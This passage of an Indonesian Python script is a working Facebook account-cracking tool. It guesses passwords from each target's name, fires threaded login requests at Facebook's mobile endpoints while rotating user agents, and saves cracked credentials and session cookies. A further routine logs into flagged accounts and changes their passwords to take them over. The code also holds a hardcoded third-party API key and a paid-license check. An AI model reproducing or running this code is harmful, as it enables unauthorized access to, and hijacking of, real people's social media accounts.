  562.     masok = input(f'{P}[{M}--mbf->{P}] Masukan Sandi Manual : ')
  563.     cetak(nel("""[red]TIDAK DI SARAKAN UNTUK MENU SEETING UA""",title='[red]• [ NOTE ] •',style='purple'))
  564.     ua = input(f"{P}[{M}--mbf->{P}] tambahkan ua manual y/t : ")
  565.     if ua in ['y','Ya','ya','Y']:
  566.         uadarimu.append('uadia');bz = input(f" [?] Masukan User-Agent : ");uadia.append(bz)
  567.         babi()
  568.     if ua in ['t','T']:
  569.         cetak(nel("""[red]CRACKING MENGUNAKAN USER-AGENT BAWAN SCRIPT """))
  570.     else:uadarimu.append('uasc')
  571.     babi()
  572.     ch = input('[•] Pilih  : ')
  573.     if ch in ['1','01']:
  574.         babi()
  575.     elif ch in ['2','02']:
  576.         sulap()
  577.     elif ch in ['3','03']:
  578.         passu()
  579.     elif ch in ['4','04']:
  580.         mie()
  581.     else:
  582.         passu()
  583. def mie():
  584.     global prog,des
  585.     print('')
  586.     print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
  587.     print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
  588.     print('')
  589.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  590.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  591.     des = prog.add_task('',total=len(id))
  592.     with prog:
  593.         with tred(max_workers=30) as pool:
  594.             for yuzong in id2:
  595.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  596.                 frs = nmf.split(' ')[0]
  597.                 pwv = []
  598.                 if len(nmf)<6:
  599.                     if len(frs)<3:
  600.                         pass
  601.                     else:
  602.                         pwv.append(nmf)
  603.                         pwv.append(frs+'123')
  604.                         pwv.append(frs+'12345')
  605.                 else:
  606.                     if len(frs)<3:
  607.                         pwv.append(nmf)
  608.                     else:
  609.                         pwv.append(nmf)
  610.                         pwv.append(frs+'123')
  611.                         pwv.append(frs+'12345')
  612.                 if 'ya' in pwpluss:
  613.                     for xpwd in pwnya:
  614.                         pwv.append(xpwd)
  615.                 else:pass
  616.                 if 'mobile' in method:
  617.                     pool.submit(crack,idf,pwv)
  618.                 elif 'free' in method:
  619.                     pool.submit(crackfree,idf,pwv)
  620.                 elif 'mbasic' in method:
  621.                     pool.submit(crackmbasic,idf,pwv)
  622.                 else:
  623.                     pool.submit(crack,idf,pwv)
  624.         print('')
  625.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  626.         print('')
  627. def passu():
  628.     global prog,des
  629.     print('')
  630.     print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
  631.     print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
  632.     print('')
  633.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  634.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  635.     des = prog.add_task('',total=len(id))
  636.     with prog:
  637.         with tred(max_workers=30) as pool:
  638.             for yuzong in id2:
  639.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  640.                 frs = nmf.split(' ')[0]
  641.                 pwv = []
  642.                 if len(nmf)<6:
  643.                     if len(frs)<3:
  644.                         pass
  645.                     else:
  646.                         pwv.append(nmf)
  647.                         pwv.append(frs+'123')
  648.                         pwv.append(frs+'1234')
  649.                         pwv.append(frs+'12345')
  650.                 else:
  651.                     if len(frs)<3:
  652.                         pwv.append(nmf)
  653.                     else:
  654.                         pwv.append(nmf)
  655.                         pwv.append(frs+'123')
  656.                         pwv.append(frs+'1234')
  657.                         pwv.append(frs+'12345')
  658.                 if 'ya' in pwpluss:
  659.                     for xpwd in pwnya:
  660.                         pwv.append(xpwd)
  661.                 else:pass
  662.                 if 'mobile' in method:
  663.                     pool.submit(crack,idf,pwv)
  664.                 elif 'free' in method:
  665.                     pool.submit(crackfree,idf,pwv)
  666.                 elif 'mbasic' in method:
  667.                     pool.submit(crackmbasic,idf,pwv)
  668.                 else:
  669.                     pool.submit(crack,idf,pwv)
  670.         print('')
  671.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  672.         print('')
  673. def sulap():
  674.     global prog,des
  675.     print('')
  676.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  677.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  678.     print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  679.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  680.     des = prog.add_task('',total=len(id))
  681.     with prog:
  682.         with tred(max_workers=30) as pool:
  683.             for yuzong in id2:
  684.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  685.                 frs = nmf.split(' ')[0]
  686.                 pwv = []
  687.                 if len(nmf)<6:
  688.                     if len(frs)<3:
  689.                         pass
  690.                     else:
  691.                         pwv.append(nmf)
  692.                         pwv.append(frs+'123')
  693.                         pwv.append(frs+'12345')
  694.                         pwv.append(frs+'123456')
  695.                 else:
  696.                     if len(frs)<3:
  697.                         pwv.append(nmf)
  698.                     else:
  699.                         pwv.append(nmf)
  700.                         pwv.append(frs+'123')
  701.                         pwv.append(frs+'12345')
  702.                         pwv.append(frs+'123456')
  703.                 if 'ya' in pwpluss:
  704.                     for xpwd in pwnya:
  705.                         pwv.append(xpwd)
  706.                 else:pass
  707.                 if 'mobile' in method:
  708.                     pool.submit(crack,idf,pwv)
  709.                 elif 'free' in method:
  710.                     pool.submit(crackfree,idf,pwv)
  711.                 elif 'mbasic' in method:
  712.                     pool.submit(crackmbasic,idf,pwv)
  713.                 else:
  714.                     pool.submit(crack,idf,pwv)
  715.         print('')
  716.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  717.         print('')
  718.        
  719. def babi():
  720.     global prog,des
  721.     print('')
  722.     prints(Panel(f"""[green] [✓] OK/{ok_kocak}
  723. [red] [✓] CP/{cp_kocak}""",style='green',title='[red]• [ RESULT ] •'))
  724. #   print(f'[✓] OK/{okc_}')
  725. #   print(f'[✓] CP/{cpc}')
  726.     cetak(nel("""MODE PESAWAT SETIAP 1-5 MENIT"""))
  727.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  728.     des = prog.add_task('',total=len(id))
  729.     with prog:
  730.         with tred(max_workers=30) as pool:
  731.             for yuzong in id2:
  732.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  733.                 frs = nmf.split(' ')[0]
  734.                 pwv = []
  735.                 if len(nmf)<6:
  736.                     if len(frs)<3:
  737.                         pass
  738.                     else:
  739.                         pwv.append(nmf)
  740.                         pwv.append(frs+'321')
  741.                         pwv.append(frs+'123')
  742.                         pwv.append(frs+'12345')
  743.                 else:
  744.                     if len(frs)<3:
  745.                         pwv.append(nmf)
  746.                     else:
  747.                         pwv.append(nmf)
  748.                         pwv.append(frs+'321')
  749.                         pwv.append(frs+'123')
  750.                         pwv.append(frs+'12345')
  751.                 if 'ya' in pwpluss:
  752.                     for xpwd in pwnya:
  753.                         pwv.append(xpwd)
  754.                 else:pass
  755.                 if 'mobile' in method:
  756.                     pool.submit(crack,idf,pwv)
  757.                 elif 'free' in method:
  758.                     pool.submit(crackfree,idf,pwv)
  759.                 elif 'mbasic' in method:
  760.                     pool.submit(crackmbasic,idf,pwv)
  761.                 else:
  762.                     pool.submit(crack,idf,pwv)
  763.         print('')
  764.     #   cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  765.         print('')
  766. def crack(idf,pwv):
  767.     global loop,ok,cp
  768.     bi = random.choice(['\33[m'])
  769.     pers = loop*100/len(id2)
  770.     fff = '%'
  771.     prog.update(des,description=f'\r[deep_white] [[green]{ok}{P}] + [[yellow]{cp}[white]] [{loop}] = [{len(id)}]')
  772. #   prog.update(des,description=f'\r[deep_white] {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  773.     prog.advance(des)
  774.     ses = requests.Session()
  775.     ua_lux = ua_krek()
  776.     for pw in pwv:
  777.         try:
  778.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua_lux,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  779.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  780.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  781.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  782.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  783.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua_lux,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  784.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  785.             if "checkpoint" in po.cookies.get_dict().keys():
  786.                 tree= Tree(f" ")
  787.             #   tree.add(Panel.fit(f"\r[bold yellow]CHECKPOINT"))
  788.                 print(f'{K}--mbf->  {idf} • {pw}')
  789.         #       tree.add(Panel.fit(f"\r[bold red]{ua} "))
  790.                 cetak(tree)
  791.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  792.                 akun.append(idf+'|'+pw)
  793.                 cp+=1
  794.                 break
  795.             elif "c_user" in ses.cookies.get_dict().keys():
  796.                 ok+=1
  797.                 coki=po.cookies.get_dict()
  798.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  799.         #       tree= Tree(f" ")
  800.         #       tree.add(Panel.fit(f"\r[bold green]LIVE"))
  801.                 print(f'{H}--mbf->  {idf} • {pw}\n{kuki}')
  802.     #           tree.add(Panel.fit(f"\r[bold purple]{kuki} "))
  803.                 cetak(tree)
  804.                 open('OK/'+ok_kocak,'a').write(idf+'|'+pw+'\n')
  805.                 break
  806.             else:
  807.                 continue
  808.         except requests.exceptions.ConnectionError:
  809.             time.sleep(3)
  810.     loop+=1
  811. def crackfree(idf,pwv):
  812.     global loop,ok,cp
  813.     bi = random.choice(['\33[m'])
  814.     pers = loop*100/len(id2)
  815.     fff = '%'
  816.     prog.update(des,description=f'\r[deep_white] M2 {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  817.     prog.advance(des)
  818.     ua = random.choice(ugen)
  819.     ua2 = random.choice(ugen2)
  820.     ses = requests.Session()
  821.     for pw in pwv:
  822.         try:
  823.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cros','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  824.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr')
  825.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/?stype=lo&jlou=AfeHk-CAJvdGaHk4jrPG5UtFn4CKHtir7fjddC1Yn0kMD7n1Kct_NlHp4ILanYLiuOMHerEBIaAAGZpqIronHYoLKX2b3Z4J_2orkzUezPFFPw&smuh=4646&lh=Ac_94l2RFc-vs30xNbg&_rdr","flow":"login_no_pin","pass":pw,}
  826.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  827.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  828.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="8"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  829.     #       po = ses.post('https://' + head['Host'] + '/login/device-based/regular/login/?refsrc=deprecated&amp;lwv=100',data=dataa,cookies='cookie':koki},headers=heade,allow_redirects=False)
  830.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  831.             if "checkpoint" in po.cookies.get_dict().keys():
  832.                 print(f'├── Email  : {kk}{idf}{P} \n│   └──  Sandi  : {kk}{pw}{P}\n└── User Agent  : {kk}{ua}{P} ')
  833.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  834.                 akun.append(idf+'|'+pw)
  835.                
  836.                 cp+=1
  837.                 break
  838.             elif "c_user" in ses.cookies.get_dict().keys():
  839.                 ok+=1
  840.                 coki=po.cookies.get_dict()
  841.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  842.                 print(f'├── Email  : {hh}{idf}{P} \n│   └──  sandi  : {hh}{pw} {P}\n└──  Cookie : {hh}{kuki}{P}')
  843.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  844.                
  845.                
  846.                 break
  847.                
  848.             else:
  849.                 continue
  850.         except requests.exceptions.ConnectionError:
  851.             time.sleep(3)
  852.     loop+=1
  853. def getkey():
  854.     import json, requests
  855.     try:
  856.         openkey = open(".key.txt","r").read()
  857.         files = openkey.split("\n")[1]
  858.         key = openkey.split("\n")[0]
  859.     except FileNotFoundError:
  860.         os.system("clear")
  861.         none();time.sleep(1)
  862.         print("")
  863.         print("\033[0m╰─ Authour Meledak XD TOD ")
  864.         print("\033[0m╰─ License Anda Tidak Tersedia ");time.sleep(2)
  865.         print ("")
  866.         jalan("\033[0m╰─ license anda :\033[32m "+crot);time.sleep(1)
  867.         namamu = input("\033[0m╰─ nama anda : ")
  868.         yt = input("\033[0m╰─ Chat Admin Untuk Beli Lisensi y/t? > ")
  869.         if yt in ["Y","y"]:
  870.             os.system("xdg-open https://wa.me/+6281322544391?text=Assalamualaikum+bang+Meledak,+aku+mau+beli+scriptnya+tapi+yang+versi+premium.+Ini+lisensinya:%20"+crot+"+konfitmasi+nama+pembeli:%20"+namamu)
  871.             open(".key.txt","w").write(crot+"\n"+namamu)
  872.             exit()
  873.         else:
  874.             exit("\033[0m╰─ Telah keluar program")
  875.     try:
  876.         confirmkey = requests.get("https://raw.githubusercontent.com/privatescrip/database/main/ya.json").json()
  877.     except requests.exceptions.ConnectionError:
  878.         print("\033[0m╰─ Jaringan Internet Kamu Tidak Ada");exit()
  879.     if confirmkey[files] == key:
  880.         if confirmkey[files] == "tidakada":
  881.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  882.             os.system("rm -rf .key.txt");exit()
  883.         else:
  884.             print("\n\033[0m╰─ Lisensi key Kamu Sudah Aktif");time.sleep(1);login()
  885.     else:
  886.         print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
  887.         os.system("rm -rf .key.txt");exit()
  888.  
  889. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  890. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  891. from concurrent.futures import ThreadPoolExecutor
  892. from bs4 import BeautifulSoup as parser
  893. from threading import (Thread, Event)
  894. from time import sleep as jeda
  895. from datetime import datetime
  896.  
  897. ct = datetime.now()
  898. n = ct.month
  899. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  900. try:
  901.     if n < 0 or n > 12:
  902.         exit()
  903.     nTemp = n - 1
  904. except ValueError:
  905.     exit()
  906.  
  907. current = datetime.now()
  908. hari = current.day
  909. bulan = bulan_[nTemp]
  910. tahun = current.year
  911. bullan = current.month
  912.  
  913. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  914. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  915.  
  916. M = '\x1b[1;91m' # MERAH
  917. H = '\x1b[1;92m' # HIJAU
  918. K = '\x1b[1;93m' # KUNING
  919. B = '\x1b[1;94m' # BIRU
  920. U = '\x1b[1;95m' # UNGU
  921. O = '\x1b[1;96m' # BIRU MUDA
  922. P = '\x1b[1;97m' # PUTIH
  923. J = '\033[38;2;255;127;0;1m' # ORANGE
  924. N = '\x1b[0m' # WARNA MATI
  925. acak = [M, H, K, B, U, O, P, J]
  926. warna = random.choice(acak)
  927. til ="\033[0m╰─ "
  928.  
  929. def jalan(keliling):
  930.     for mau in keliling + '\n':
  931.         sys.stdout.write(mau)
  932.         sys.stdout.flush();jeda(0.03)
  933.        
  934.        
  935. ubah_pass = []
  936. pwbaru = []
  937. pwBaru = []
  938. ubahP = []
  939.  
  940. def file_cp():
  941.     dirs = os.listdir('CP')
  942.     for file in dirs:
  943.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  944.     try:
  945.         opsi()
  946.     except IOError:
  947.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  948.         exit()
  949.  
  950. def opsi():
  951.     CP = ("CP/")
  952.     romi = input(" nama file : ")
  953.     if romi == "":
  954.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  955.         opsi()
  956.     try:
  957.         file_cp = open(CP+romi, "r").readlines()
  958.     except IOError:
  959.         exit()
  960.     print('-> tidak di sarankan menganti sandi langsung')
  961.     pw=input(" langsun ganti sandi? y/t : ")
  962.     if pw in['y','Y']:
  963.         ubah_pass.append("ubah_sandi")
  964.         pw2 = input(" sandi : ")
  965.         if len(pw2) <= 5:
  966.             print("%s%s sandi minimal 6 karakter "%(M,til))
  967.         else:
  968.             pwbaru.append(pw2)
  969.     print(f' terdapat {file_cp} akun dalam file ini ')
  970. #   print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  971. #   print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  972.     nomor = 0
  973.     for fb in file_cp:
  974.         akun = fb.replace("\n","")
  975.         ngecek  = akun.split("|")
  976.         nomor+=1
  977.         print("\n%s%s.%s \033[0m OTW LOGIN AKUN %s--> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  978.         try:
  979.             mengecek(ngecek[0].replace("",""), ngecek[1])
  980.         except requests.exceptions.ConnectionError:
  981.             continue
  982.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  983.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  984.     back()
  985.    
  986. data = {}
  987. data2 = {}
  988.  
  989. def mengecek(user,pw):
  990.     global loop,ubah_pass,pwbaru
  991.     session=requests.Session()
  992.     ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
  993.     url = "https://mbasic.facebook.com"
  994.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  995.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  996.     link=soup.find("form",{"method":"post"})
  997.     for x in soup("input"):
  998.         data.update({x.get("name"):x.get("value")})
  999.     data.update({"email":user,"pass":pw})
  1000.     urlPost=session.post(url+link.get("action"),data=data)
  1001.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1002.     if "c_user" in session.cookies.get_dict():
  1003.         if "Akun Anda Dikunci" in urlPost.text:
  1004.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1005.         else:
  1006.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1007.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1008.     elif "checkpoint" in session.cookies.get_dict():
  1009.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1010.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1011.         link2=response.find("form",{"method":"post"})
  1012.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1013.         for x in response("input"):
  1014.             if x.get("name") in listInput:
  1015.                 data2.update({x.get("name"):x.get("value")})
  1016.         an=session.post(url+link2.get("action"),data=data2)
  1017.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1018.         cek=[cek.text for cek in response2.find_all("option")]
  1019.         number=0
  1020.         print("\r%s%s \033[0m %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1021.         if(len(cek)==0):
  1022.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1023.                 if "ubah_sandi" in ubah_pass:
  1024.                     dat,dat2={},{}
  1025.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1026.                     for x in response("input"):
  1027.                         if x.get("name") in but:
  1028.                             dat.update({x.get("name"):x.get("value")})
  1029.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1030.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1031.                     link3=resUbah.find("form",{"method":"post"})
  1032.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1033.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1034.                         for b in resUbah("input"):
  1035.                             dat2.update({b.get("name"):b.get("value")})
  1036.                         dat2.update({"password_new":"".join(pwbaru)})
  1037.                         an=session.post(url+link3.get("action"),data=dat2)
  1038.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1039.                         print("\r%s%s\033[0one tab %s%s%s|%s|%s         "%(H,til,N,H,user,pwbaru[0],coki))
  1040.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1041.                         #cek_apk(coki)
  1042.                 else:
  1043.                     print("\r%s%s \033[0m one tab   "%(H,til))
  1044.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1045.                     #cek_apk(coki)
  1046.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1047.                 print("\r%s╰─\033[0m BUANG AJA GA GUNA          "%(M))
  1048.             else:
  1049.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1050.         else:
  1051.             if "c_user" in session.cookies.get_dict():
  1052.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1053.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1054.         for opsi in range(len(cek)):
  1055.             number +=1
  1056.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1057.     elif "login_error" in str(response):
  1058.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1059.         print("%s╰─ %s"%(M,oh))
  1060.     else:
  1061.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1062.          
  1063. def scarpping_ua():
  1064.     # Url & Headers website #
  1065.    
  1066.    
  1067.     url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
  1068.     header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
  1069.    
  1070.     # Main menu #
  1071.    
  1072.   #  os.system('clear')
  1073.     try:
  1074.         response = requests.get(url,headers=header)
  1075.         if response.status_code == 200:
  1076.             uascrap.append(response.json()['ua'])
  1077.         else:
  1078.             uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1079.     except requests.exceptions.ConnectionError:
  1080.         uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1081.        
  1082. ###----------[ AUTHOR ]---------- ###
  1083. Author = 'Dapunta Khurayra X'
  1084. Version = 0.1
